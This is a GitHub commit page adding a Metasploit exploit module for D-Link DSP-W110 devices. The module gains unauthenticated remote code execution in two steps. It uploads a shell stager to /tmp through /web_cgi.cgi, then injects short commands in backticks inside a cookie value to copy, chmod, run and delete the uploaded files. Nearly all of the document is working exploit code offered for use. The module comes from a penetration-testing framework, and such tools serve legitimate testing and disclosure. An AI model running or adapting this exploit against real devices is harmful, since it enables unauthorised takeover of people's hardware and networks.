Skip to content

Commit b31c637

Browse files
committed
Land rapid7#5533, DSP-W110 cookie command injection
2 parents 653f8b5 + 21375ed commit b31c637

File tree

1 file changed

+152
-0
lines changed

1 file changed

+152
-0
lines changed
Lines changed: 152 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,152 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit3 < Msf::Exploit::Remote
9+
Rank = NormalRanking
10+
11+
include Msf::Exploit::Remote::HttpClient
12+
include Msf::Exploit::CmdStager
13+
14+
def initialize(info = {})
15+
super(update_info(info,
16+
'Name' => 'D-Link Cookie Command Execution',
17+
'Description' => %q{
18+
This module exploits an anonymous remote upload and code execution vulnerability on different
19+
D-Link devices. The vulnerability is a command injection in the cookie handling process of the
20+
lighttpd web server when handling specially crafted cookie values. This module has been
21+
successfully tested on D-Link DSP-W110A1_FW105B01 in emulated environment.
22+
},
23+
'Author' =>
24+
[
25+
'Peter Adkins <peter.adkins[at]kernelpicnic.net>', # vulnerability discovery and initial PoC
26+
'Michael Messner <devnull[at]s3cur1ty.de>' # Metasploit module
27+
],
28+
'License' => MSF_LICENSE,
29+
'Platform' => 'linux',
30+
'References' =>
31+
[
32+
['URL', 'https://github.com/darkarnium/secpub/tree/master/D-Link/DSP-W110'] # blog post including PoC
33+
],
34+
'DisclosureDate' => 'Jun 12 2015',
35+
'Payload' =>
36+
{
37+
'DisableNops' => true
38+
},
39+
'Targets' =>
40+
[
41+
[ 'MIPS Little Endian', # unknown if there are LE devices out there ... but in case we have a target
42+
{
43+
'Platform' => 'linux',
44+
'Arch' => ARCH_MIPSLE
45+
}
46+
],
47+
[ 'MIPS Big Endian',
48+
{
49+
'Platform' => 'linux',
50+
'Arch' => ARCH_MIPSBE
51+
}
52+
]
53+
],
54+
'DefaultTarget' => 1
55+
))
56+
end
57+
58+
def check
59+
begin
60+
res = send_request_cgi({
61+
'uri' => '/',
62+
'method' => 'GET'
63+
})
64+
65+
if res && res.headers["Server"] =~ /lighttpd\/1\.4\.34/
66+
return Exploit::CheckCode::Detected
67+
end
68+
rescue ::Rex::ConnectionError
69+
return Exploit::CheckCode::Unknown
70+
end
71+
72+
Exploit::CheckCode::Unknown
73+
end
74+
75+
def exploit
76+
print_status("#{peer} - Trying to access the device ...")
77+
78+
unless check == Exploit::CheckCode::Detected
79+
fail_with(Failure::Unknown, "#{peer} - Failed to access the vulnerable device")
80+
end
81+
82+
print_status("#{peer} - Uploading stager ...")
83+
@counter = 1
84+
execute_cmdstager(
85+
:flavor => :echo,
86+
:linemax => 95 # limited by our upload, larger payloads crash the web server
87+
)
88+
89+
print_status("#{peer} - creating payload and executing it ...")
90+
91+
(1 .. @counter).each do |act_file|
92+
# the http server blocks access to our files ... we copy it to a new one
93+
# the length of our command is restricted to 19 characters
94+
cmd = "cp /t*/#{act_file} /tmp/#{act_file+@counter}"
95+
execute_final_command(cmd)
96+
cmd = "chmod +x /tmp/#{act_file+@counter}"
97+
execute_final_command(cmd)
98+
cmd = "/tmp/#{act_file+@counter}"
99+
execute_final_command(cmd)
100+
cmd = "rm /tmp/#{act_file}"
101+
execute_final_command(cmd)
102+
cmd = "rm /tmp/#{act_file+@counter}"
103+
execute_final_command(cmd)
104+
end
105+
end
106+
107+
def execute_command(cmd,opts)
108+
# upload our stager to a shell script
109+
# upload takes quite long because there is no response from the web server
110+
111+
file_upload = "#!/bin/sh\n"
112+
file_upload << cmd << "\n"
113+
114+
post_data = Rex::MIME::Message.new
115+
post_data.add_part(file_upload, nil, "binary", "form-data; name=\"#{rand_text_alpha(4)}\"; filename=\"#{@counter}\"")
116+
post_data.bound = "-#{rand_text_alpha(12)}--"
117+
file = post_data.to_s
118+
119+
@counter = @counter + 1
120+
121+
begin
122+
send_request_cgi({
123+
'method' => 'POST',
124+
'uri' => "/web_cgi.cgi",
125+
'vars_get' => {
126+
'&request' =>'UploadFile',
127+
'path' => '/tmp/'
128+
},
129+
'encode_params' => false,
130+
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
131+
'data' => file
132+
})
133+
rescue ::Rex::ConnectionError
134+
fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
135+
end
136+
137+
end
138+
139+
def execute_final_command(cmd)
140+
# very limited space - larger commands crash the webserver
141+
fail_with(Failure::Unknown, "#{peer} - Generated command for injection is too long") if cmd.length > 18
142+
begin
143+
send_request_cgi({
144+
'method' => 'GET',
145+
'uri' => "/",
146+
'cookie' => "i=`#{cmd}`"
147+
}, 5)
148+
rescue ::Rex::ConnectionError
149+
fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
150+
end
151+
end
152+
end

0 commit comments

Comments
 (0)